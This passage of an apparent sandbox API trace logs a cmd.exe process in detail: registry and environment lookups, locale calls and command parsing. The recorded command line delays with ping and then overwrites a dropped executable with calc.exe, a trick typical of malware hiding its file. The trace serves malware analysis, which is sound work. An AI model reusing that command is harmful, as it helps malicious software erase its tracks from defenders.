lpAddress=0x7dfc4f, lpBuffer=0x7dfbfc, dwLength=0x1c | out: lpBuffer=0x7dfbfc*(BaseAddress=0x7df000, AllocationBase=0x6e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0268.024] VirtualQuery (in: lpAddress=0x6e0000, lpBuffer=0x7dfbfc, dwLength=0x1c | out: lpBuffer=0x7dfbfc*(BaseAddress=0x6e0000, AllocationBase=0x6e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0268.024] VirtualQuery (in: lpAddress=0x6e1000, lpBuffer=0x7dfbfc, dwLength=0x1c | out: lpBuffer=0x7dfbfc*(BaseAddress=0x6e1000, AllocationBase=0x6e0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0268.024] VirtualQuery (in: lpAddress=0x6e3000, lpBuffer=0x7dfbfc, dwLength=0x1c | out: lpBuffer=0x7dfbfc*(BaseAddress=0x6e3000, AllocationBase=0x6e0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0268.025] VirtualQuery (in: lpAddress=0x7e0000, lpBuffer=0x7dfbfc, dwLength=0x1c | out: lpBuffer=0x7dfbfc*(BaseAddress=0x7e0000, AllocationBase=0x7e0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0268.025] GetConsoleOutputCP () returned 0x1b5 [0268.025] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xad3850 | out: lpCPInfo=0xad3850) returned 1 [0268.025] SetConsoleCtrlHandler (HandlerRoutine=0xac7260, Add=1) returned 1 [0268.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0268.025] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xad388c | out: lpMode=0xad388c) returned 1 [0268.026] _get_osfhandle (_FileHandle=0) returned 0x8c [0268.026] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xad3888 | out: lpMode=0xad3888) returned 1 [0268.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0268.026] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0268.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0268.027] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xad3890 | out: lpMode=0xad3890) returned 1 [0268.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0268.027] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0268.027] _get_osfhandle (_FileHandle=0) returned 0x8c [0268.027] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xad3894 | out: lpMode=0xad3894) returned 1 [0268.028] _get_osfhandle (_FileHandle=0) returned 0x8c [0268.028] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0268.028] GetEnvironmentStringsW () returned 0x2da4fb8* [0268.028] GetProcessHeap () returned 0x2da0000 [0268.028] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbaa) returned 0x2da5b70 [0268.029] FreeEnvironmentStringsA (penv="=") returned 1 [0268.029] GetProcessHeap () returned 0x2da0000 [0268.029] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x4) returned 0x2da3bb8 [0268.029] GetEnvironmentStringsW () returned 0x2da4fb8* [0268.029] GetProcessHeap () returned 0x2da0000 [0268.029] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbaa) returned 0x2da6728 [0268.029] FreeEnvironmentStringsA (penv="=") returned 1 [0268.029] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x7deba0 | out: phkResult=0x7deba0*=0xcc) returned 0x0 [0268.030] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x0, lpData=0x7debac*=0x0, lpcbData=0x7deba4*=0x1000) returned 0x2 [0268.030] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x4, lpData=0x7debac*=0x1, lpcbData=0x7deba4*=0x4) returned 0x0 [0268.030] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x0, lpData=0x7debac*=0x1, lpcbData=0x7deba4*=0x1000) returned 0x2 [0268.030] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x4, lpData=0x7debac*=0x0, lpcbData=0x7deba4*=0x4) returned 0x0 [0268.030] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x4, lpData=0x7debac*=0x40, lpcbData=0x7deba4*=0x4) returned 0x0 [0268.030] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x4, lpData=0x7debac*=0x40, lpcbData=0x7deba4*=0x4) returned 0x0 [0268.030] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x0, lpData=0x7debac*=0x40, lpcbData=0x7deba4*=0x1000) returned 0x2 [0268.030] RegCloseKey (hKey=0xcc) returned 0x0 [0268.031] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x7deba0 | out: phkResult=0x7deba0*=0xcc) returned 0x0 [0268.031] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x0, lpData=0x7debac*=0x40, lpcbData=0x7deba4*=0x1000) returned 0x2 [0268.031] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x4, lpData=0x7debac*=0x1, lpcbData=0x7deba4*=0x4) returned 0x0 [0268.031] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x0, lpData=0x7debac*=0x1, lpcbData=0x7deba4*=0x1000) returned 0x2 [0268.031] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x4, lpData=0x7debac*=0x0, lpcbData=0x7deba4*=0x4) returned 0x0 [0268.031] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x4, lpData=0x7debac*=0x9, lpcbData=0x7deba4*=0x4) returned 0x0 [0268.031] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x4, lpData=0x7debac*=0x9, lpcbData=0x7deba4*=0x4) returned 0x0 [0268.031] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x7deba8, lpData=0x7debac, lpcbData=0x7deba4*=0x1000 | out: lpType=0x7deba8*=0x0, lpData=0x7debac*=0x9, lpcbData=0x7deba4*=0x1000) returned 0x2 [0268.031] RegCloseKey (hKey=0xcc) returned 0x0 [0268.031] time (in: timer=0x0 | out: timer=0x0) returned 0x5f3a5676 [0268.032] srand (_Seed=0x5f3a5676) [0268.032] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c ping.exe -n 6 127.0.0.1 & type \"C:\\WINDOWS\\System32\\calc.exe\" > \"C:\\BlotRots\\Loterios.exe\"" [0268.032] malloc (_Size=0x4000) returned 0xa82338 [0268.033] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c ping.exe -n 6 127.0.0.1 & type \"C:\\WINDOWS\\System32\\calc.exe\" > \"C:\\BlotRots\\Loterios.exe\"" [0268.033] malloc (_Size=0xffce) returned 0x2ea0048 [0268.034] ??_V@YAXPAX@Z () returned 0x7dfb84 [0268.035] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ea0048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0268.036] malloc (_Size=0xffce) returned 0x2eb0020 [0268.036] ??_V@YAXPAX@Z () returned 0x7df958 [0268.037] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2eb0020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0268.037] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xacf840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0268.037] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xacf840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0268.037] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xacf840, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0268.038] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xacf840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0268.038] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xacf840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0268.038] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0268.038] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0268.038] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0268.038] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0268.038] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0268.038] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0268.038] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0268.038] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0268.038] malloc (_Size=0xffce) returned 0x2ebfff8 [0268.039] ??_V@YAXPAX@Z () returned 0x7df6f0 [0268.040] GetProcessHeap () returned 0x2da0000 [0268.040] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x30) returned 0x2da4868 [0268.040] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ebfff8 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0268.040] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x2ebfff8, lpFilePart=0x7df73c | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x7df73c*="system32") returned 0x13 [0268.041] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0268.041] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x7df4c0 | out: lpFindFileData=0x7df4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x345c13e6, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x345c13e6, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x2da4a28 [0268.041] FindClose (in: hFindFile=0x2da4a28 | out: hFindFile=0x2da4a28) returned 1 [0268.041] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x7df4c0 | out: lpFindFileData=0x7df4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa55ee53a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0xa55ee53a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x2da4a28 [0268.042] FindClose (in: hFindFile=0x2da4a28 | out: hFindFile=0x2da4a28) returned 1 [0268.042] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0268.042] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0268.042] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0268.042] GetProcessHeap () returned 0x2da0000 [0268.043] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da5b70) returned 1 [0268.043] GetEnvironmentStringsW () returned 0x2da72e0* [0268.043] GetProcessHeap () returned 0x2da0000 [0268.043] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbaa) returned 0x2da4fb8 [0268.043] FreeEnvironmentStringsA (penv="=") returned 1 [0268.043] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ea0048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0268.043] GetProcessHeap () returned 0x2da0000 [0268.043] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da4868) returned 1 [0268.043] ??_V@YAXPAX@Z () returned 0x1 [0268.043] ??_V@YAXPAX@Z () returned 0x1 [0268.043] GetProcessHeap () returned 0x2da0000 [0268.043] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x400e) returned 0x2da72e0 [0268.046] GetProcessHeap () returned 0x2da0000 [0268.047] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xc4) returned 0x2da4a28 [0268.047] GetProcessHeap () returned 0x2da0000 [0268.047] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da72e0) returned 1 [0268.047] GetConsoleOutputCP () returned 0x1b5 [0268.047] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xad3850 | out: lpCPInfo=0xad3850) returned 1 [0268.047] GetUserDefaultLCID () returned 0x411 [0268.048] GetLocaleInfoW (in: Locale=0x411, LCType=0x1e, lpLCData=0xacf82c, cchData=8 | out: lpLCData=":") returned 2 [0268.048] GetLocaleInfoW (in: Locale=0x411, LCType=0x23, lpLCData=0x7dfaac, cchData=128 | out: lpLCData="1") returned 2 [0268.048] GetLocaleInfoW (in: Locale=0x411, LCType=0x21, lpLCData=0x7dfaac, cchData=128 | out: lpLCData="2") returned 2 [0268.049] GetLocaleInfoW (in: Locale=0x411, LCType=0x24, lpLCData=0x7dfaac, cchData=128 | out: lpLCData="1") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0x1d, lpLCData=0xacf81c, cchData=8 | out: lpLCData="/") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0x31, lpLCData=0xacf7b8, cchData=32 | out: lpLCData="月") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0x32, lpLCData=0xacf778, cchData=32 | out: lpLCData="火") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0x33, lpLCData=0xacf738, cchData=32 | out: lpLCData="水") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0x34, lpLCData=0xacf6f8, cchData=32 | out: lpLCData="木") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0x35, lpLCData=0xacf6b8, cchData=32 | out: lpLCData="金") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0x36, lpLCData=0xacf678, cchData=32 | out: lpLCData="土") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0x37, lpLCData=0xacf638, cchData=32 | out: lpLCData="日") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0xe, lpLCData=0xacf80c, cchData=8 | out: lpLCData=".") returned 2 [0268.050] GetLocaleInfoW (in: Locale=0x411, LCType=0xf, lpLCData=0xacf7f8, cchData=8 | out: lpLCData=",") returned 2 [0268.051] setlocale (category=0, locale=".OCP") returned="Japanese_Japan.932" [0268.055] GetProcessHeap () returned 0x2da0000 [0268.055] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x0, Size=0x20c) returned 0x2da5f08 [0268.055] GetConsoleTitleW (in: lpConsoleTitle=0x2da5f08, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0268.056] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74560000 [0268.056] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileExW") returned 0x74574330 [0268.056] GetProcAddress (hModule=0x74560000, lpProcName="IsDebuggerPresent") returned 0x74575930 [0268.056] GetProcAddress (hModule=0x74560000, lpProcName="SetConsoleInputExeNameW") returned 0x771a09d0 [0268.056] ??_V@YAXPAX@Z () returned 0x1 [0268.058] GetProcessHeap () returned 0x2da0000 [0268.058] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x400a) returned 0x2da72e0 [0268.058] GetProcessHeap () returned 0x2da0000 [0268.058] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da72e0) returned 1 [0268.059] _wcsicmp (_String1="ping.exe", _String2=")") returned 71 [0268.059] _wcsicmp (_String1="FOR", _String2="ping.exe") returned -10 [0268.059] _wcsicmp (_String1="FOR/?", _String2="ping.exe") returned -10 [0268.059] _wcsicmp (_String1="IF", _String2="ping.exe") returned -7 [0268.059] _wcsicmp (_String1="IF/?", _String2="ping.exe") returned -7 [0268.059] _wcsicmp (_String1="REM", _String2="ping.exe") returned 2 [0268.059] _wcsicmp (_String1="REM/?", _String2="ping.exe") returned 2 [0268.059] GetProcessHeap () returned 0x2da0000 [0268.059] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x58) returned 0x2da6120 [0268.059] GetProcessHeap () returned 0x2da0000 [0268.059] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x1a) returned 0x2da6180 [0268.061] GetProcessHeap () returned 0x2da0000 [0268.061] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x2a) returned 0x2da61a8 [0268.062] GetProcessHeap () returned 0x2da0000 [0268.062] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x58) returned 0x2da61e0 [0268.063] _wcsicmp (_String1="type", _String2=")") returned 75 [0268.063] _wcsicmp (_String1="FOR", _String2="type") returned -14 [0268.063] _wcsicmp (_String1="FOR/?", _String2="type") returned -14 [0268.063] _wcsicmp (_String1="IF", _String2="type") returned -11 [0268.063] _wcsicmp (_String1="IF/?", _String2="type") returned -11 [0268.063] _wcsicmp (_String1="REM", _String2="type") returned -2 [0268.063] _wcsicmp (_String1="REM/?", _String2="type") returned -2 [0268.063] GetProcessHeap () returned 0x2da0000 [0268.063] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x58) returned 0x2da6240 [0268.063] GetProcessHeap () returned 0x2da0000 [0268.063] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x12) returned 0x2da4af8 [0268.064] GetProcessHeap () returned 0x2da0000 [0268.064] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x4a) returned 0x2da62a0 [0268.065] GetProcessHeap () returned 0x2da0000 [0268.065] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x20) returned 0x2da62f8 [0268.066] GetProcessHeap () returned 0x2da0000 [0268.066] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x3e) returned 0x2da6320 [0268.067] GetConsoleTitleW (in: lpConsoleTitle=0x7df940, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0268.067] malloc (_Size=0xffce) returned 0x2eb2348 [0268.068] ??_V@YAXPAX@Z () returned 0x7df6cc [0268.069] malloc (_Size=0xffce) returned 0x2ec2320 [0268.069] ??_V@YAXPAX@Z () returned 0x7df484 [0268.070] GetFileAttributesW (lpFileName="ping.exe" (normalized: "c:\\windows\\system32\\ping.exe")) returned 0x20 [0268.072] _wcsicmp (_String1="ping.exe", _String2="DIR") returned 12 [0268.072] _wcsicmp (_String1="ping.exe", _String2="ERASE") returned 11 [0268.072] _wcsicmp (_String1="ping.exe", _String2="DEL") returned 12 [0268.072] _wcsicmp (_String1="ping.exe", _String2="TYPE") returned -4 [0268.072] _wcsicmp (_String1="ping.exe", _String2="COPY") returned 13 [0268.073] _wcsicmp (_String1="ping.exe", _String2="CD") returned 13 [0268.073] _wcsicmp (_String1="ping.exe", _String2="CHDIR") returned 13 [0268.073] _wcsicmp (_String1="ping.exe", _String2="RENAME") returned -2 [0268.073] _wcsicmp (_String1="ping.exe", _String2="REN") returned -2 [0268.073] _wcsicmp (_String1="ping.exe", _String2="ECHO") returned 11 [0268.073] _wcsicmp (_String1="ping.exe", _String2="SET") returned -3 [0268.073] _wcsicmp (_String1="ping.exe", _String2="PAUSE") returned 8 [0268.073] _wcsicmp (_String1="ping.exe", _String2="DATE") returned 12 [0268.073] _wcsicmp (_String1="ping.exe", _String2="TIME") returned -4 [0268.073] _wcsicmp (_String1="ping.exe", _String2="PROMPT") returned -9 [0268.073] _wcsicmp (_String1="ping.exe", _String2="MD") returned 3 [0268.073] _wcsicmp (_String1="ping.exe", _String2="MKDIR") returned 3 [0268.073] _wcsicmp (_String1="ping.exe", _String2="RD") returned -2 [0268.073] _wcsicmp (_String1="ping.exe", _String2="RMDIR") returned -2 [0268.073] _wcsicmp (_String1="ping.exe", _String2="PATH") returned 8 [0268.073] _wcsicmp (_String1="ping.exe", _String2="GOTO") returned 9 [0268.073] _wcsicmp (_String1="ping.exe", _String2="SHIFT") returned -3 [0268.073] _wcsicmp (_String1="ping.exe", _String2="CLS") returned 13 [0268.074] _wcsicmp (_String1="ping.exe", _String2="CALL") returned 13 [0268.074] _wcsicmp (_String1="ping.exe", _String2="VERIFY") returned -6 [0268.074] _wcsicmp (_String1="ping.exe", _String2="VER") returned -6 [0268.074] _wcsicmp (_String1="ping.exe", _String2="VOL") returned -6 [0268.074] _wcsicmp (_String1="ping.exe", _String2="EXIT") returned 11 [0268.074] _wcsicmp (_String1="ping.exe", _String2="SETLOCAL") returned -3 [0268.074] _wcsicmp (_String1="ping.exe", _String2="ENDLOCAL") returned 11 [0268.074] _wcsicmp (_String1="ping.exe", _String2="TITLE") returned -4 [0268.074] _wcsicmp (_String1="ping.exe", _String2="START") returned -3 [0268.074] _wcsicmp (_String1="ping.exe", _String2="DPATH") returned 12 [0268.074] _wcsicmp (_String1="ping.exe", _String2="KEYS") returned 5 [0268.074] _wcsicmp (_String1="ping.exe", _String2="MOVE") returned 3 [0268.074] _wcsicmp (_String1="ping.exe", _String2="PUSHD") returned -12 [0268.074] _wcsicmp (_String1="ping.exe", _String2="POPD") returned -6 [0268.074] _wcsicmp (_String1="ping.exe", _String2="ASSOC") returned 15 [0268.074] _wcsicmp (_String1="ping.exe", _String2="FTYPE") returned 10 [0268.074] _wcsicmp (_String1="ping.exe", _String2="BREAK") returned 14 [0268.074] _wcsicmp (_String1="ping.exe", _String2="COLOR") returned 13 [0268.075] _wcsicmp (_String1="ping.exe", _String2="MKLINK") returned 3 [0268.075] _wcsicmp (_String1="ping.exe", _String2="DIR") returned 12 [0268.075] _wcsicmp (_String1="ping.exe", _String2="ERASE") returned 11 [0268.075] _wcsicmp (_String1="ping.exe", _String2="DEL") returned 12 [0268.075] _wcsicmp (_String1="ping.exe", _String2="TYPE") returned -4 [0268.075] _wcsicmp (_String1="ping.exe", _String2="COPY") returned 13 [0268.075] _wcsicmp (_String1="ping.exe", _String2="CD") returned 13 [0268.075] _wcsicmp (_String1="ping.exe", _String2="CHDIR") returned 13 [0268.075] _wcsicmp (_String1="ping.exe", _String2="RENAME") returned -2 [0268.075] _wcsicmp (_String1="ping.exe", _String2="REN") returned -2 [0268.075] _wcsicmp (_String1="ping.exe", _String2="ECHO") returned 11 [0268.075] _wcsicmp (_String1="ping.exe", _String2="SET") returned -3 [0268.075] _wcsicmp (_String1="ping.exe", _String2="PAUSE") returned 8 [0268.075] _wcsicmp (_String1="ping.exe", _String2="DATE") returned 12 [0268.075] _wcsicmp (_String1="ping.exe", _String2="TIME") returned -4 [0268.076] _wcsicmp (_String1="ping.exe", _String2="PROMPT") returned -9 [0268.076] _wcsicmp (_String1="ping.exe", _String2="MD") returned 3 [0268.076] _wcsicmp (_String1="ping.exe", _String2="MKDIR") returned 3 [0268.076] _wcsicmp (_String1="ping.exe", _String2="RD") returned -2 [0268.076] _wcsicmp (_String1="ping.exe", _String2="RMDIR") returned -2 [0268.076] _wcsicmp (_String1="ping.exe", _String2="PATH") returned 8 [0268.076] _wcsicmp (_String1="ping.exe", _String2="GOTO") returned 9 [0268.076] _wcsicmp (_String1="ping.exe", _String2="SHIFT") returned -3 [0268.076] _wcsicmp (_String1="ping.exe", _String2="CLS") returned 13 [0268.076] _wcsicmp (_String1="ping.exe", _String2="CALL") returned 13 [0268.076] _wcsicmp (_String1="ping.exe", _String2="VERIFY") returned -6 [0268.076] _wcsicmp (_String1="ping.exe", _String2="VER") returned -6 [0268.076] _wcsicmp (_String1="ping.exe", _String2="VOL") returned -6 [0268.076] _wcsicmp (_String1="ping.exe", _String2="EXIT") returned 11 [0268.076] _wcsicmp (_String1="ping.exe", _String2="SETLOCAL") returned -3 [0268.076] _wcsicmp (_String1="ping.exe", _String2="ENDLOCAL") returned 11 [0268.076] _wcsicmp (_String1="ping.exe", _String2="TITLE") returned -4 [0268.076] _wcsicmp (_String1="ping.exe", _String2="START") returned -3 [0268.077] _wcsicmp (_String1="ping.exe", _String2="DPATH") returned 12 [0268.077] _wcsicmp (_String1="ping.exe", _String2="KEYS") returned 5 [0268.077] _wcsicmp (_String1="ping.exe", _String2="MOVE") returned 3 [0268.077] _wcsicmp (_String1="ping.exe", _String2="PUSHD") returned -12 [0268.077] _wcsicmp (_String1="ping.exe", _String2="POPD") returned -6 [0268.077] _wcsicmp (_String1="ping.exe", _String2="ASSOC") returned 15 [0268.077] _wcsicmp (_String1="ping.exe", _String2="FTYPE") returned 10 [0268.077] _wcsicmp (_String1="ping.exe", _String2="BREAK") returned 14 [0268.077] _wcsicmp (_String1="ping.exe", _String2="COLOR") returned 13 [0268.077] _wcsicmp (_String1="ping.exe", _String2="MKLINK") returned 3 [0268.077] _wcsicmp (_String1="ping.exe", _String2="FOR") returned 10 [0268.077] _wcsicmp (_String1="ping.exe", _String2="IF") returned 7 [0268.077] _wcsicmp (_String1="ping.exe", _String2="REM") returned -2 [0268.078] ??_V@YAXPAX@Z () returned 0x1 [0268.078] GetProcessHeap () returned 0x2da0000 [0268.078] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xffd6) returned 0x2da72e0 [0268.079] GetProcessHeap () returned 0x2da0000 [0268.079] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x3c) returned 0x2da6368 [0268.079] _wcsnicmp (_String1="ping", _String2="cmd ", _MaxCount=0x4) returned 13 [0268.079] malloc (_Size=0xffce) returned 0x2ec2320 [0268.080] ??_V@YAXPAX@Z () returned 0x7df204 [0268.080] GetProcessHeap () returned 0x2da0000 [0268.080] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x1ffa4) returned 0x2db72c0 [0268.082] SetErrorMode (uMode=0x0) returned 0x0 [0268.082] SetErrorMode (uMode=0x1) returned 0x0 [0268.083] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2db72c8, lpFilePart=0x7df224 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x7df224*="system32") returned 0x13 [0268.083] SetErrorMode (uMode=0x0) returned 0x1 [0268.083] GetProcessHeap () returned 0x2da0000 [0268.083] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2db72c0, Size=0x42) returned 0x2db72c0 [0268.083] GetProcessHeap 